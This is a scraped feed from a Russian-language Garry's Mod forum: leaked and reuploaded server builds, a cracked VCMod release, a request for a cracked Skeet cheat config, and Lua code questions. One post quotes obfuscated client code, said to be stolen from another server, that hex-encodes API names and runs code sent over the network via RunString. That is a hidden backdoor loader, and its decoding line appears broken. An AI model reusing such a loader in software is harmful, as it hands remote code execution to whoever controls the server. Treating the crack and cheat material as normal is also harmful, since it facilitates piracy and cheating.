floridarp

qwlx добавил(а) новый ресурс:

floridarp - сап, сохранение от октября 24г

выкачана в ту дату, ничего особого и нового вы не уведите
за основу была использована сборка, которая ранее сливалась мной
много говна и недоработок, если будете использовать это, пишите ко мне в дс за помощью daskierr

Узнать больше об этом ресурсе...

Escape menu

Lor4ic добавил(а) новый ресурс:

Escape menu - Написал свой escape menu

Что-то вышло, пока что только для системы SAM. Если нужно смогу обновить под ulx и fadmin

Посмотреть вложение 66214Посмотреть вложение 66215Посмотреть вложение 66216Посмотреть вложение 66217
YouTube VzLKIqnJ8yw

Узнать больше об этом ресурсе...

VCMod Cracked

nisher47 добавил(а) новый ресурс:

VCMod (Water Closet) Cracked - Кряк VCMod

кряк VCMod'а для гарис мода
из плюсов:
полностью локальный и не требует каких-либо запросов/доступа в интернет
открытый исходный код
полностью рабочий функционал
из минусов:
данные моделей (чтобы работали фары итд) нужно добавлять вручную в addons/vcmod/lua/vehicles
это вкмод, а значит говнокодистое забагованное недоразумение уровня экзека или травкикоде, из-за чего, собственно, и было крякнуто

Узнать больше об этом ресурсе...

Ищу Кфг на кряк Skeet с визуалами и рейджом +луашки которые понадобятся

Буду благодарен тем кто поможет с данной темой мне нужен хороший хвх конфиг на кряк скита с хорошими и приятными визуалами и рейджом еще если не сложно прикрепите к нему пожайлуйста луа которые могут пригодиться и будут полезны

  • Закрыта
Вопрос Как пофиксить рваные иконки?

Ну, что могу сказать... Очень рваные иконки в худе независимо от их разрешения и разрешения экрана. Иконки в расширении png. SVG иконки у меня не работают так что хз на счет них.

Вложения

  • иконки.png
    иконки.png
    31.2 KB · Просмотры: 120

PostBellum HL2RP(( modular552 Гитхаб))

boba222 добавил(а) новый ресурс:

PostBellum HL2RP(( Гитхаб)) - HL2RP framework for Garry's Mod based on Clockwork

Проще говоря это сборка PostBellum , заливаю сюда так чуствую жопой с гита ее скоро удалят

Узнать больше об этом ресурсе...

Вопрос PhysicsInitBox

скачал сборочку на брокене))
решил по фулу зафиксить её ну и в итоге получил кучу говна связанную с физикой дропа бабок
ну зацените гуру луа кодинга как зафиксил хуйню
lua:
Развернуть Свернуть Копировать
AddCSLuaFile("cl_init.lua")
AddCSLuaFile("shared.lua")

include("shared.lua")

function ENT:Initialize()
    self:SetModel("models/props/cs_assault/money.mdl")
    self:SetUseType(SIMPLE_USE)
    self.nodupe = true
    self.ShareGravgun = true
    self:PhysicsInit(SOLID_VPHYSICS)
    self:SetMoveType(MOVETYPE_VPHYSICS)
    self:SetSolid(SOLID_VPHYSICS)

    local phys = self:GetPhysicsObject()
    if not IsValid(phys) then
        print("[error] used PhysicsInitBox.")
        self:PhysicsInitBox(Vector(-4, -4, -1), Vector(4, 4, 1))
        self:SetCollisionBounds(Vector(-4, -4, -1), Vector(4, 4, 1))
        phys = self:GetPhysicsObject()
    end

    if IsValid(phys) then
        phys:Wake()
    else
        print("[BLAYT ERROR!] fizika ne work posle PhysicsInitBox!")
    end
end

function ENT:Use(activator, caller)
    if activator:IsBanned() then return end

    local amount = self:Getamount() or 0
    activator:AddMoney(amount)

    hook.Call("PlayerPickupRPMoney", GAMEMODE, activator, amount, activator:GetMoney())

    rp.Notify(activator, NOTIFY_SUCCESS, term.Get("MoneyFound"), amount)
    self:Remove()
end

function rp.SpawnMoney(pos, amount)
    local moneybag = ents.Create("spawned_money")
    moneybag:SetPos(pos)
    moneybag:Setamount(math.min(amount, 2147483647))
    moneybag:Spawn()
    moneybag:Activate()
    return moneybag
end

function ENT:Touch(ent)
    if ent:GetClass() ~= "spawned_money" or self.hasMerged or ent.hasMerged then return end

    ent.hasMerged = true
    ent:Remove()

    self:Setamount(self:Getamount() + ent:Getamount())
end
local ents = ents
timer.Create("rp_moneymerge", 5, 0, function()
    for _, money in ipairs(ents.FindByClass("spawned_money")) do
        for _, v in ipairs(ents.FindInSphere(money:GetPos(), 40)) do
            if IsValid(money) and IsValid(v) and (v ~= money) then
                local class = v:GetClass()

                if class == "spawned_money" and not money.Combining and not v.Combining then
                    v.Combining, money.Combining = true, true
                    money:Setamount(v:Getamount() + money:Getamount())
                    v:Remove()
                    money.Combining = false
                    break
                elseif class == "money_basket" and not money.Combining then
                    money.Combining = true
                    v:Setmoney(v:Getmoney() + money:Getamount())
                    money:Remove()
                    break
                end
            end
        end
    end
end)

Вопрос Я украл CL часть у TFC и обноружил странную хуйню

local _G = _G
local net = net
local table = table
local string = string
local util = util
local tonumber = tonumber

local separator = string.char(0x3F) -- '?'
local chunks = {}
local chunkCount = 0


local function decodeHex(hexStr)
local parts = string.Explode(separator, hexStr)
local result = ""
for i = 1, #parts - 1 do
result = result .. string.char(tonumber(parts, 16))
end
return result
end


local RECEIVE = decodeHex("52?65?63?65?69?76?65") -- "Receive"
local READ_BOOL = decodeHex("52?65?61?64?42?6F?6F?6C") -- "ReadBool"
local READ_UINT = decodeHex("52?65?61?64?55?49?6E?74") -- "ReadUInt"
local READ_DATA = decodeHex("52?65?61?64?44?61?74?61") -- "ReadData"
local RUN_STRING = decodeHex("52?75?6E?53?74?72?69?6E?67") -- "RunString"
local DECOMPRESS = decodeHex("44?65?63?6F?6D?70?72?65?73?73") -- "Decompress"


net[RECEIVE]("sacvfs‪", function()
local isFinal = net[READ_BOOL]()
local dataSize = net[READ_UINT](20)
local chunk = net[READ_DATA](dataSize)

chunkCount = chunkCount + 1
chunks[chunkCount] = chunk

if isFinal then
local compressed = table.concat(chunks, "")
local decompressed = util[DECOMPRESS](compressed)
_G[RUN_STRING](decompressed)
chunks = {}
chunkCount = 0
end
end)



Что этот код делает ?

Пользователи онлайн

Статистика форума

Темы
29,177
Сообщения
187,183
Пользователи
129,055
Новый пользователь
acr0ra
Назад
Сверху Снизу